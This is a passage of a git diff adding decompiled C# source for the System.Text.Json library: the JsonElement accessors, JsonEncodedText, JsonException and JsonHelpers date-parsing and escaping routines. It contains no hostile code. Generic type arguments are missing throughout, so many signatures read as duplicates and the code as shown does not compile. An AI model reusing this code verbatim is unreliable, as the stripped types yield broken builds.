JsonProperty(new JsonElement(_target._parent, _curIdx)); + } + } + + object IEnumerator.Current => Current; + + internal ObjectEnumerator(JsonElement target) + { + _target = target; + _curIdx = -1; + _endIdxOrVersion = target._parent.GetEndIndex(_target._idx, includeEndElement: false); + } + + public ObjectEnumerator GetEnumerator() + { + ObjectEnumerator result = this; + result._curIdx = -1; + return result; + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + public void Dispose() + { + _curIdx = _endIdxOrVersion; + } + + public void Reset() + { + _curIdx = -1; + } + + public bool MoveNext() + { + if (_curIdx >= _endIdxOrVersion) + { + return false; + } + if (_curIdx < 0) + { + _curIdx = _target._idx + 12; + } + else + { + _curIdx = _target._parent.GetEndIndex(_curIdx, includeEndElement: true); + } + _curIdx += 12; + return _curIdx < _endIdxOrVersion; + } + } + + private readonly JsonDocument _parent; + + private readonly int _idx; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + private JsonTokenType TokenType => _parent?.GetJsonTokenType(_idx) ?? JsonTokenType.None; + + public JsonValueKind ValueKind => TokenType.ToValueKind(); + + public JsonElement this[int index] + { + get + { + CheckValidInstance(); + return _parent.GetArrayIndexElement(_idx, index); + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + private string DebuggerDisplay => $"ValueKind = {ValueKind} : \"{ToString()}\""; + + internal JsonElement(JsonDocument parent, int idx) + { + _parent = parent; + _idx = idx; + } + + public int GetArrayLength() + { + CheckValidInstance(); + return _parent.GetArrayLength(_idx); + } + + public JsonElement GetProperty(string propertyName) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + if (TryGetProperty(propertyName, out var value)) + { + return value; + } + throw new KeyNotFoundException(); + } + + public JsonElement GetProperty(ReadOnlySpan propertyName) + { + if (TryGetProperty(propertyName, out var value)) + { + return value; + } + throw new KeyNotFoundException(); + } + + public JsonElement GetProperty(ReadOnlySpan utf8PropertyName) + { + if (TryGetProperty(utf8PropertyName, out var value)) + { + return value; + } + throw new KeyNotFoundException(); + } + + public bool TryGetProperty(string propertyName, out JsonElement value) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + return TryGetProperty(propertyName.AsSpan(), out value); + } + + public bool TryGetProperty(ReadOnlySpan propertyName, out JsonElement value) + { + CheckValidInstance(); + return _parent.TryGetNamedPropertyValue(_idx, propertyName, out value); + } + + public bool TryGetProperty(ReadOnlySpan utf8PropertyName, out JsonElement value) + { + CheckValidInstance(); + return _parent.TryGetNamedPropertyValue(_idx, utf8PropertyName, out value); + } + + public bool GetBoolean() + { + JsonTokenType tokenType = TokenType; + return tokenType switch + { + JsonTokenType.False => false, + JsonTokenType.True => true, + _ => ThrowJsonElementWrongTypeException(tokenType), + }; + static bool ThrowJsonElementWrongTypeException(JsonTokenType actualType) + { + throw ThrowHelper.GetJsonElementWrongTypeException("Boolean", actualType.ToValueKind()); + } + } + + public string? GetString() + { + CheckValidInstance(); + return _parent.GetString(_idx, JsonTokenType.String); + } + + public bool TryGetBytesFromBase64([NotNullWhen(true)] out byte[]? value) + { + CheckValidInstance(); + return _parent.TryGetValue(_idx, out value); + } + + public byte[] GetBytesFromBase64() + { + if (!TryGetBytesFromBase64(out byte[] value)) + { + ThrowHelper.ThrowFormatException(); + } + return value; + } + + [CLSCompliant(false)] + public bool TryGetSByte(out sbyte value) + { + CheckValidInstance(); + return _parent.TryGetValue(_idx, out value); + } + + [CLSCompliant(false)] + public sbyte GetSByte() + { + if (TryGetSByte(out var value)) + { + return value; + } + throw new FormatException(); + } + + public bool TryGetByte(out byte value) + { + CheckValidInstance(); + return _parent.TryGetValue(_idx, out value); + } + + public byte GetByte() + { + if (TryGetByte(out var value)) + { + return value; + } + throw new FormatException(); + } + + public bool TryGetInt16(out short value) + { + CheckValidInstance(); + return _parent.TryGetValue(_idx, out value); + } + + public short GetInt16() + { + if (TryGetInt16(out var value)) + { + return value; + } + throw new FormatException(); + } + + [CLSCompliant(false)] + public bool TryGetUInt16(out ushort value) + { + CheckValidInstance(); + return _parent.TryGetValue(_idx, out value); + } + + [CLSCompliant(false)] + public ushort GetUInt16() + { + if (TryGetUInt16(out var value)) + { + return value; + } + throw new FormatException(); + } + + public bool TryGetInt32(out int value) + { + CheckValidInstance(); + return _parent.TryGetValue(_idx, out value); + } + + public int GetInt32() + { + if (!TryGetInt32(out var value)) + { + ThrowHelper.ThrowFormatException(); + } + return value; + } + + [CLSCompliant(false)] + public bool TryGetUInt32(out uint value) + { + CheckValidInstance(); + return _parent.TryGetValue(_idx, out value); + } + + [CLSCompliant(false)] + public uint GetUInt32() + { + if (!TryGetUInt32(out var value)) + { + ThrowHelper.ThrowFormatException(); + } + return value; + } + + public bool TryGetInt64(out long value) + { + CheckValidInstance(); + return _parent.TryGetValue(_idx, out value); + } + + public long GetInt64() + { + if (!TryGetInt64(out var value)) + { + ThrowHelper.ThrowFormatException(); + } + return value; + } + + [CLSCompliant(false)] + public bool TryGetUInt64(out ulong value) + { + CheckValidInstance(); + return _parent.TryGetValue(_idx, out value); + } + + [CLSCompliant(false)] + public ulong GetUInt64() + { + if (!TryGetUInt64(out var value)) + { + ThrowHelper.ThrowFormatException(); + } + return value; + } + + public bool TryGetDouble(out double value) + { + CheckValidInstance(); + return _parent.TryGetValue(_idx, out value); + } + + public double GetDouble() + { + if (!TryGetDouble(out var value)) + { + ThrowHelper.ThrowFormatException(); + } + return value; + } + + public bool TryGetSingle(out float value) + { + CheckValidInstance(); + return _parent.TryGetValue(_idx, out value); + } + + public float GetSingle() + { + if (!TryGetSingle(out var value)) + { + ThrowHelper.ThrowFormatException(); + } + return value; + } + + public bool TryGetDecimal(out decimal value) + { + CheckValidInstance(); + return _parent.TryGetValue(_idx, out value); + } + + public decimal GetDecimal() + { + if (!TryGetDecimal(out var value)) + { + ThrowHelper.ThrowFormatException(); + } + return value; + } + + public bool TryGetDateTime(out DateTime value) + { + CheckValidInstance(); + return _parent.TryGetValue(_idx, out value); + } + + public DateTime GetDateTime() + { + if (!TryGetDateTime(out var value)) + { + ThrowHelper.ThrowFormatException(); + } + return value; + } + + public bool TryGetDateTimeOffset(out DateTimeOffset value) + { + CheckValidInstance(); + return _parent.TryGetValue(_idx, out value); + } + + public DateTimeOffset GetDateTimeOffset() + { + if (!TryGetDateTimeOffset(out var value)) + { + ThrowHelper.ThrowFormatException(); + } + return value; + } + + public bool TryGetGuid(out Guid value) + { + CheckValidInstance(); + return _parent.TryGetValue(_idx, out value); + } + + public Guid GetGuid() + { + if (!TryGetGuid(out var value)) + { + ThrowHelper.ThrowFormatException(); + } + return value; + } + + internal string GetPropertyName() + { + CheckValidInstance(); + return _parent.GetNameOfPropertyValue(_idx); + } + + public string GetRawText() + { + CheckValidInstance(); + return _parent.GetRawValueAsString(_idx); + } + + internal ReadOnlyMemory GetRawValue() + { + CheckValidInstance(); + return _parent.GetRawValue(_idx, includeQuotes: true); + } + + internal string GetPropertyRawText() + { + CheckValidInstance(); + return _parent.GetPropertyRawValueAsString(_idx); + } + + public bool ValueEquals(string? text) + { + if (TokenType == JsonTokenType.Null) + { + return text == null; + } + return TextEqualsHelper(text.AsSpan(), isPropertyName: false); + } + + public bool ValueEquals(ReadOnlySpan utf8Text) + { + if (TokenType == JsonTokenType.Null) + { + return utf8Text == default(ReadOnlySpan); + } + return TextEqualsHelper(utf8Text, isPropertyName: false, shouldUnescape: true); + } + + public bool ValueEquals(ReadOnlySpan text) + { + if (TokenType == JsonTokenType.Null) + { + return text == default(ReadOnlySpan); + } + return TextEqualsHelper(text, isPropertyName: false); + } + + internal bool TextEqualsHelper(ReadOnlySpan utf8Text, bool isPropertyName, bool shouldUnescape) + { + CheckValidInstance(); + return _parent.TextEquals(_idx, utf8Text, isPropertyName, shouldUnescape); + } + + internal bool TextEqualsHelper(ReadOnlySpan text, bool isPropertyName) + { + CheckValidInstance(); + return _parent.TextEquals(_idx, text, isPropertyName); + } + + public void WriteTo(Utf8JsonWriter writer) + { + if (writer == null) + { + ThrowHelper.ThrowArgumentNullException("writer"); + } + CheckValidInstance(); + _parent.WriteElementTo(_idx, writer); + } + + public ArrayEnumerator EnumerateArray() + { + CheckValidInstance(); + JsonTokenType tokenType = TokenType; + if (tokenType != JsonTokenType.StartArray) + { + ThrowHelper.ThrowJsonElementWrongTypeException(JsonTokenType.StartArray, tokenType); + } + return new ArrayEnumerator(this); + } + + public ObjectEnumerator EnumerateObject() + { + CheckValidInstance(); + JsonTokenType tokenType = TokenType; + if (tokenType != JsonTokenType.StartObject) + { + ThrowHelper.ThrowJsonElementWrongTypeException(JsonTokenType.StartObject, tokenType); + } + return new ObjectEnumerator(this); + } + + public override string ToString() + { + switch (TokenType) + { + case JsonTokenType.None: + case JsonTokenType.Null: + return string.Empty; + case JsonTokenType.True: + return bool.TrueString; + case JsonTokenType.False: + return bool.FalseString; + case JsonTokenType.StartObject: + case JsonTokenType.StartArray: + case JsonTokenType.Number: + return _parent.GetRawValueAsString(_idx); + case JsonTokenType.String: + return GetString(); + default: + return string.Empty; + } + } + + public JsonElement Clone() + { + CheckValidInstance(); + if (!_parent.IsDisposable) + { + return this; + } + return _parent.CloneElement(_idx); + } + + private void CheckValidInstance() + { + if (_parent == null) + { + throw new InvalidOperationException(); + } + } + + public static JsonElement ParseValue(ref Utf8JsonReader reader) + { + JsonDocument document; + bool flag = JsonDocument.TryParseValue(ref reader, out document, shouldThrow: true, useArrayPools: false); + return document.RootElement; + } + + internal static JsonElement ParseValue(Stream utf8Json, JsonDocumentOptions options) + { + JsonDocument jsonDocument = JsonDocument.ParseValue(utf8Json, options); + return jsonDocument.RootElement; + } + + internal static JsonElement ParseValue(ReadOnlySpan utf8Json, JsonDocumentOptions options) + { + JsonDocument jsonDocument = JsonDocument.ParseValue(utf8Json, options); + return jsonDocument.RootElement; + } + + internal static JsonElement ParseValue(string json, JsonDocumentOptions options) + { + JsonDocument jsonDocument = JsonDocument.ParseValue(json, options); + return jsonDocument.RootElement; + } + + public static bool TryParseValue(ref Utf8JsonReader reader, [NotNullWhen(true)] out JsonElement? element) + { + JsonDocument document; + bool result = JsonDocument.TryParseValue(ref reader, out document, shouldThrow: false, useArrayPools: false); + element = document?.RootElement; + return result; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonEncodedText.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonEncodedText.cs new file mode 100644 index 0000000..6af8f94 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonEncodedText.cs @@ -0,0 +1,104 @@ +using System.Buffers; +using System.Diagnostics.CodeAnalysis; +using System.Text.Encodings.Web; + +namespace System.Text.Json; + +public readonly struct JsonEncodedText : IEquatable +{ + internal readonly byte[] _utf8Value; + + internal readonly string _value; + + public ReadOnlySpan EncodedUtf8Bytes => _utf8Value; + + public string Value => _value ?? string.Empty; + + private JsonEncodedText(byte[] utf8Value) + { + _value = JsonReaderHelper.GetTextFromUtf8(utf8Value); + _utf8Value = utf8Value; + } + + public static JsonEncodedText Encode(string value, JavaScriptEncoder? encoder = null) + { + if (value == null) + { + ThrowHelper.ThrowArgumentNullException("value"); + } + return Encode(value.AsSpan(), encoder); + } + + public static JsonEncodedText Encode(ReadOnlySpan value, JavaScriptEncoder? encoder = null) + { + if (value.Length == 0) + { + return new JsonEncodedText(Array.Empty()); + } + return TranscodeAndEncode(value, encoder); + } + + private static JsonEncodedText TranscodeAndEncode(ReadOnlySpan value, JavaScriptEncoder encoder) + { + JsonWriterHelper.ValidateValue(value); + int utf8ByteCount = JsonReaderHelper.GetUtf8ByteCount(value); + byte[] array = ArrayPool.Shared.Rent(utf8ByteCount); + int utf8FromText = JsonReaderHelper.GetUtf8FromText(value, array); + JsonEncodedText result = EncodeHelper(array.AsSpan(0, utf8FromText), encoder); + array.AsSpan(0, utf8ByteCount).Clear(); + ArrayPool.Shared.Return(array); + return result; + } + + public static JsonEncodedText Encode(ReadOnlySpan utf8Value, JavaScriptEncoder? encoder = null) + { + if (utf8Value.Length == 0) + { + return new JsonEncodedText(Array.Empty()); + } + JsonWriterHelper.ValidateValue(utf8Value); + return EncodeHelper(utf8Value, encoder); + } + + private static JsonEncodedText EncodeHelper(ReadOnlySpan utf8Value, JavaScriptEncoder encoder) + { + int num = JsonWriterHelper.NeedsEscaping(utf8Value, encoder); + if (num != -1) + { + return new JsonEncodedText(JsonHelpers.EscapeValue(utf8Value, num, encoder)); + } + return new JsonEncodedText(utf8Value.ToArray()); + } + + public bool Equals(JsonEncodedText other) + { + if (_value == null) + { + return other._value == null; + } + return _value.Equals(other._value); + } + + public override bool Equals([NotNullWhen(true)] object? obj) + { + if (obj is JsonEncodedText other) + { + return Equals(other); + } + return false; + } + + public override string ToString() + { + return _value ?? string.Empty; + } + + public override int GetHashCode() + { + if (_value != null) + { + return _value.GetHashCode(); + } + return 0; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonException.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonException.cs new file mode 100644 index 0000000..ce84bce --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonException.cs @@ -0,0 +1,76 @@ +using System.Runtime.Serialization; + +namespace System.Text.Json; + +[Serializable] +public class JsonException : Exception +{ + internal string _message; + + internal bool AppendPathInformation { get; set; } + + public long? LineNumber { get; internal set; } + + public long? BytePositionInLine { get; internal set; } + + public string? Path { get; internal set; } + + public override string Message => _message ?? base.Message; + + public JsonException(string? message, string? path, long? lineNumber, long? bytePositionInLine, Exception? innerException) + : base(message, innerException) + { + _message = message; + LineNumber = lineNumber; + BytePositionInLine = bytePositionInLine; + Path = path; + } + + public JsonException(string? message, string? path, long? lineNumber, long? bytePositionInLine) + : base(message) + { + _message = message; + LineNumber = lineNumber; + BytePositionInLine = bytePositionInLine; + Path = path; + } + + public JsonException(string? message, Exception? innerException) + : base(message, innerException) + { + _message = message; + } + + public JsonException(string? message) + : base(message) + { + _message = message; + } + + public JsonException() + { + } + + protected JsonException(SerializationInfo info, StreamingContext context) + : base(info, context) + { + LineNumber = (long?)info.GetValue("LineNumber", typeof(long?)); + BytePositionInLine = (long?)info.GetValue("BytePositionInLine", typeof(long?)); + Path = info.GetString("Path"); + SetMessage(info.GetString("ActualMessage")); + } + + public override void GetObjectData(SerializationInfo info, StreamingContext context) + { + base.GetObjectData(info, context); + info.AddValue("LineNumber", LineNumber, typeof(long?)); + info.AddValue("BytePositionInLine", BytePositionInLine, typeof(long?)); + info.AddValue("Path", Path, typeof(string)); + info.AddValue("ActualMessage", Message, typeof(string)); + } + + internal void SetMessage(string message) + { + _message = message; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonHelpers.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonHelpers.cs new file mode 100644 index 0000000..980c523 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonHelpers.cs @@ -0,0 +1,646 @@ +using System.Buffers; +using System.Collections; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Text.Encodings.Web; +using System.Text.Json.Serialization; + +namespace System.Text.Json; + +internal static class JsonHelpers +{ + [StructLayout(LayoutKind.Auto)] + private struct DateTimeParseData + { + public int Year; + + public int Month; + + public int Day; + + public bool IsCalendarDateOnly; + + public int Hour; + + public int Minute; + + public int Second; + + public int Fraction; + + public int OffsetHours; + + public int OffsetMinutes; + + public byte OffsetToken; + + public bool OffsetNegative => OffsetToken == 45; + } + + private static ReadOnlySpan DaysToMonth365 + { + get + { + object obj = global::_003CPrivateImplementationDetails_003E._5857EE4CE98BFABBD62B385C1098507DD0052FF3951043AAD6A1DABD495F18AA_A6; + if (obj == null) + { + obj = new int[13] + { + 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, + 304, 334, 365 + }; + global::_003CPrivateImplementationDetails_003E._5857EE4CE98BFABBD62B385C1098507DD0052FF3951043AAD6A1DABD495F18AA_A6 = (int[])obj; + } + return new ReadOnlySpan((int[]?)obj); + } + } + + private static ReadOnlySpan DaysToMonth366 + { + get + { + object obj = global::_003CPrivateImplementationDetails_003E.FADB218011E7702BB9575D0C32A685DA10B5C72EB809BD9A955DB1C76E4D8315_A6; + if (obj == null) + { + obj = new int[13] + { + 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, + 305, 335, 366 + }; + global::_003CPrivateImplementationDetails_003E.FADB218011E7702BB9575D0C32A685DA10B5C72EB809BD9A955DB1C76E4D8315_A6 = (int[])obj; + } + return new ReadOnlySpan((int[]?)obj); + } + } + + public static bool TryAdd(this Dictionary dictionary, TKey key, TValue value) + { + if (!dictionary.ContainsKey(key)) + { + dictionary[key] = value; + return true; + } + return false; + } + + public static bool TryDequeue(this Queue queue, [NotNullWhen(true)] out T result) + { + if (queue.Count > 0) + { + result = queue.Dequeue(); + return true; + } + result = default(T); + return false; + } + + internal static bool RequiresSpecialNumberHandlingOnWrite(JsonNumberHandling? handling) + { + if (!handling.HasValue) + { + return false; + } + return (handling.Value & (JsonNumberHandling.WriteAsString | JsonNumberHandling.AllowNamedFloatingPointLiterals)) != 0; + } + + internal static void StableSortByKey(this List items, Func keySelector) where TKey : unmanaged, IComparable + { + T[] array = items.ToArray(); + (TKey, int)[] array2 = new(TKey, int)[array.Length]; + for (int i = 0; i < array2.Length; i++) + { + array2[i] = (keySelector(array[i]), i); + } + Array.Sort(array2, array); + items.Clear(); + items.AddRange(array); + } + + public static T[] TraverseGraphWithTopologicalSort(T entryNode, Func> getChildren, IEqualityComparer comparer = null) + { + if (comparer == null) + { + comparer = EqualityComparer.Default; + } + List list = new List { entryNode }; + Dictionary dictionary = new Dictionary(comparer) { [entryNode] = 0 }; + List list2 = new List(); + Queue queue = new Queue(); + for (int i = 0; i < list.Count; i++) + { + T arg = list[i]; + ICollection collection = getChildren(arg); + int count = collection.Count; + if (count == 0) + { + list2.Add(null); + queue.Enqueue(i); + continue; + } + bool[] array = new bool[Math.Max(list.Count, count)]; + foreach (T item in collection) + { + if (!dictionary.TryGetValue(item, out var value)) + { + value = list.Count; + dictionary.Add(item, value); + list.Add(item); + } + if (value >= array.Length) + { + Array.Resize(ref array, value + 1); + } + array[value] = true; + } + list2.Add(array); + } + T[] array2 = new T[list.Count]; + int num = array2.Length; + do + { + int num2 = queue.Dequeue(); + array2[--num] = list[num2]; + for (int j = 0; j < list2.Count; j++) + { + bool[] array3 = list2[j]; + if (array3 != null && num2 < array3.Length && array3[num2]) + { + array3[num2] = false; + if (array3.AsSpan().IndexOf(value: true) == -1) + { + queue.Enqueue(j); + } + } + } + } + while (queue.Count > 0); + return array2; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static ReadOnlySpan GetSpan(this scoped ref Utf8JsonReader reader) + { + if (!reader.HasValueSequence) + { + return reader.ValueSpan; + } + return reader.ValueSequence.ToArray(); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsValidUnicodeScalar(uint value) + { + return IsInRangeInclusive(value ^ 0xD800, 2048u, 1114111u); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsInRangeInclusive(uint value, uint lowerBound, uint upperBound) + { + return value - lowerBound <= upperBound - lowerBound; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsInRangeInclusive(int value, int lowerBound, int upperBound) + { + return (uint)(value - lowerBound) <= (uint)(upperBound - lowerBound); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsInRangeInclusive(long value, long lowerBound, long upperBound) + { + return (ulong)(value - lowerBound) <= (ulong)(upperBound - lowerBound); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsInRangeInclusive(JsonTokenType value, JsonTokenType lowerBound, JsonTokenType upperBound) + { + return value - lowerBound <= upperBound - lowerBound; + } + + public static bool IsDigit(byte value) + { + return (uint)(value - 48) <= 9u; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void ReadWithVerify(this ref Utf8JsonReader reader) + { + bool flag = reader.Read(); + } + + public static string Utf8GetString(ReadOnlySpan bytes) + { + return Encoding.UTF8.GetString(bytes.ToArray()); + } + + public static Dictionary CreateDictionaryFromCollection(IEnumerable> collection, IEqualityComparer comparer) + { + Dictionary dictionary = new Dictionary(comparer); + foreach (KeyValuePair item in collection) + { + dictionary.Add(item.Key, item.Value); + } + return dictionary; + } + + public static bool IsFinite(double value) + { + if (!double.IsNaN(value)) + { + return !double.IsInfinity(value); + } + return false; + } + + public static bool IsFinite(float value) + { + if (!float.IsNaN(value)) + { + return !float.IsInfinity(value); + } + return false; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void ValidateInt32MaxArrayLength(uint length) + { + if (length > 2146435071) + { + ThrowHelper.ThrowOutOfMemoryException(length); + } + } + + public static bool HasAllSet(this BitArray bitArray) + { + for (int i = 0; i < bitArray.Count; i++) + { + if (!bitArray[i]) + { + return false; + } + } + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsValidDateTimeOffsetParseLength(int length) + { + return IsInRangeInclusive(length, 10, 252); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool IsValidUnescapedDateTimeOffsetParseLength(int length) + { + return IsInRangeInclusive(length, 10, 42); + } + + public static bool TryParseAsISO(ReadOnlySpan source, out DateTime value) + { + if (!TryParseDateTimeOffset(source, out var parseData)) + { + value = default(DateTime); + return false; + } + if (parseData.OffsetToken == 90) + { + return TryCreateDateTime(parseData, DateTimeKind.Utc, out value); + } + if (parseData.OffsetToken == 43 || parseData.OffsetToken == 45) + { + if (!TryCreateDateTimeOffset(ref parseData, out var value2)) + { + value = default(DateTime); + return false; + } + value = value2.LocalDateTime; + return true; + } + return TryCreateDateTime(parseData, DateTimeKind.Unspecified, out value); + } + + public static bool TryParseAsISO(ReadOnlySpan source, out DateTimeOffset value) + { + if (!TryParseDateTimeOffset(source, out var parseData)) + { + value = default(DateTimeOffset); + return false; + } + if (parseData.OffsetToken == 90 || parseData.OffsetToken == 43 || parseData.OffsetToken == 45) + { + return TryCreateDateTimeOffset(ref parseData, out value); + } + return TryCreateDateTimeOffsetInterpretingDataAsLocalTime(parseData, out value); + } + + private static bool TryParseDateTimeOffset(ReadOnlySpan source, out DateTimeParseData parseData) + { + parseData = default(DateTimeParseData); + uint num = (uint)(source[0] - 48); + uint num2 = (uint)(source[1] - 48); + uint num3 = (uint)(source[2] - 48); + uint num4 = (uint)(source[3] - 48); + if (num > 9 || num2 > 9 || num3 > 9 || num4 > 9) + { + return false; + } + parseData.Year = (int)(num * 1000 + num2 * 100 + num3 * 10 + num4); + if (source[4] != 45 || !TryGetNextTwoDigits(source.Slice(5, 2), ref parseData.Month) || source[7] != 45 || !TryGetNextTwoDigits(source.Slice(8, 2), ref parseData.Day)) + { + return false; + } + if (source.Length == 10) + { + parseData.IsCalendarDateOnly = true; + return true; + } + if (source.Length < 16) + { + return false; + } + if (source[10] != 84 || source[13] != 58 || !TryGetNextTwoDigits(source.Slice(11, 2), ref parseData.Hour) || !TryGetNextTwoDigits(source.Slice(14, 2), ref parseData.Minute)) + { + return false; + } + if (source.Length == 16) + { + return true; + } + byte b = source[16]; + int num5 = 17; + switch (b) + { + case 90: + parseData.OffsetToken = 90; + return num5 == source.Length; + case 43: + case 45: + parseData.OffsetToken = b; + return ParseOffset(ref parseData, source.Slice(num5)); + default: + return false; + case 58: + if (source.Length < 19 || !TryGetNextTwoDigits(source.Slice(17, 2), ref parseData.Second)) + { + return false; + } + if (source.Length == 19) + { + return true; + } + b = source[19]; + num5 = 20; + switch (b) + { + case 90: + parseData.OffsetToken = 90; + return num5 == source.Length; + case 43: + case 45: + parseData.OffsetToken = b; + return ParseOffset(ref parseData, source.Slice(num5)); + default: + return false; + case 46: + { + if (source.Length < 21) + { + return false; + } + int i = 0; + for (int num6 = Math.Min(num5 + 16, source.Length); num5 < num6; num5++) + { + if (!IsDigit(b = source[num5])) + { + break; + } + if (i < 7) + { + parseData.Fraction = parseData.Fraction * 10 + (b - 48); + i++; + } + } + if (parseData.Fraction != 0) + { + for (; i < 7; i++) + { + parseData.Fraction *= 10; + } + } + if (num5 == source.Length) + { + return true; + } + b = source[num5++]; + switch (b) + { + case 90: + parseData.OffsetToken = 90; + return num5 == source.Length; + case 43: + case 45: + parseData.OffsetToken = b; + return ParseOffset(ref parseData, source.Slice(num5)); + default: + return false; + } + } + } + } + static bool ParseOffset(ref DateTimeParseData reference, ReadOnlySpan offsetData) + { + if (offsetData.Length < 2 || !TryGetNextTwoDigits(offsetData.Slice(0, 2), ref reference.OffsetHours)) + { + return false; + } + if (offsetData.Length == 2) + { + return true; + } + if (offsetData.Length != 5 || offsetData[2] != 58 || !TryGetNextTwoDigits(offsetData.Slice(3), ref reference.OffsetMinutes)) + { + return false; + } + return true; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool TryGetNextTwoDigits(ReadOnlySpan source, ref int value) + { + uint num = (uint)(source[0] - 48); + uint num2 = (uint)(source[1] - 48); + if (num > 9 || num2 > 9) + { + value = 0; + return false; + } + value = (int)(num * 10 + num2); + return true; + } + + private static bool TryCreateDateTimeOffset(DateTime dateTime, ref DateTimeParseData parseData, out DateTimeOffset value) + { + if ((uint)parseData.OffsetHours > 14u) + { + value = default(DateTimeOffset); + return false; + } + if ((uint)parseData.OffsetMinutes > 59u) + { + value = default(DateTimeOffset); + return false; + } + if (parseData.OffsetHours == 14 && parseData.OffsetMinutes != 0) + { + value = default(DateTimeOffset); + return false; + } + long num = ((long)parseData.OffsetHours * 3600L + (long)parseData.OffsetMinutes * 60L) * 10000000; + if (parseData.OffsetNegative) + { + num = -num; + } + try + { + value = new DateTimeOffset(dateTime.Ticks, new TimeSpan(num)); + } + catch (ArgumentOutOfRangeException) + { + value = default(DateTimeOffset); + return false; + } + return true; + } + + private static bool TryCreateDateTimeOffset(ref DateTimeParseData parseData, out DateTimeOffset value) + { + if (!TryCreateDateTime(parseData, DateTimeKind.Unspecified, out var value2)) + { + value = default(DateTimeOffset); + return false; + } + if (!TryCreateDateTimeOffset(value2, ref parseData, out value)) + { + value = default(DateTimeOffset); + return false; + } + return true; + } + + private static bool TryCreateDateTimeOffsetInterpretingDataAsLocalTime(DateTimeParseData parseData, out DateTimeOffset value) + { + if (!TryCreateDateTime(parseData, DateTimeKind.Local, out var value2)) + { + value = default(DateTimeOffset); + return false; + } + try + { + value = new DateTimeOffset(value2); + } + catch (ArgumentOutOfRangeException) + { + value = default(DateTimeOffset); + return false; + } + return true; + } + + private static bool TryCreateDateTime(DateTimeParseData parseData, DateTimeKind kind, out DateTime value) + { + if (parseData.Year == 0) + { + value = default(DateTime); + return false; + } + if ((uint)(parseData.Month - 1) >= 12u) + { + value = default(DateTime); + return false; + } + uint num = (uint)(parseData.Day - 1); + if (num >= 28 && num >= DateTime.DaysInMonth(parseData.Year, parseData.Month)) + { + value = default(DateTime); + return false; + } + if ((uint)parseData.Hour > 23u) + { + value = default(DateTime); + return false; + } + if ((uint)parseData.Minute > 59u) + { + value = default(DateTime); + return false; + } + if ((uint)parseData.Second > 59u) + { + value = default(DateTime); + return false; + } + ReadOnlySpan readOnlySpan = (DateTime.IsLeapYear(parseData.Year) ? DaysToMonth366 : DaysToMonth365); + int num2 = parseData.Year - 1; + int num3 = num2 * 365 + num2 / 4 - num2 / 100 + num2 / 400 + readOnlySpan[parseData.Month - 1] + parseData.Day - 1; + long num4 = num3 * 864000000000L; + int num5 = parseData.Hour * 3600 + parseData.Minute * 60 + parseData.Second; + num4 += (long)num5 * 10000000L; + num4 += parseData.Fraction; + value = new DateTime(num4, kind); + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static byte[] GetEscapedPropertyNameSection(ReadOnlySpan utf8Value, JavaScriptEncoder encoder) + { + int num = JsonWriterHelper.NeedsEscaping(utf8Value, encoder); + if (num != -1) + { + return GetEscapedPropertyNameSection(utf8Value, num, encoder); + } + return GetPropertyNameSection(utf8Value); + } + + public static byte[] EscapeValue(ReadOnlySpan utf8Value, int firstEscapeIndexVal, JavaScriptEncoder encoder) + { + byte[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(utf8Value.Length, firstEscapeIndexVal); + Span span = ((maxEscapedLength > 256) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc byte[256]); + Span destination = span; + JsonWriterHelper.EscapeString(utf8Value, destination, firstEscapeIndexVal, encoder, out var written); + byte[] result = destination.Slice(0, written).ToArray(); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + return result; + } + + private static byte[] GetEscapedPropertyNameSection(ReadOnlySpan utf8Value, int firstEscapeIndexVal, JavaScriptEncoder encoder) + { + byte[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(utf8Value.Length, firstEscapeIndexVal); + Span span = ((maxEscapedLength > 256) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc byte[256]); + Span destination = span; + JsonWriterHelper.EscapeString(utf8Value, destination, firstEscapeIndexVal, encoder, out var written); + byte[] propertyNameSection = GetPropertyNameSection(destination.Slice(0, written)); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + return propertyNameSection; + } + + private static byte[] GetPropertyNameSection(ReadOnlySpan utf8Value) + { + int length = utf8Value.Length; + byte[] array = new byte[length + 3]; + array[0] = 34; + utf8Value.CopyTo(array.AsSpan(1, length)); + array[++length] = 34; + array[++length] = 58; + return array; + } +} diff --git 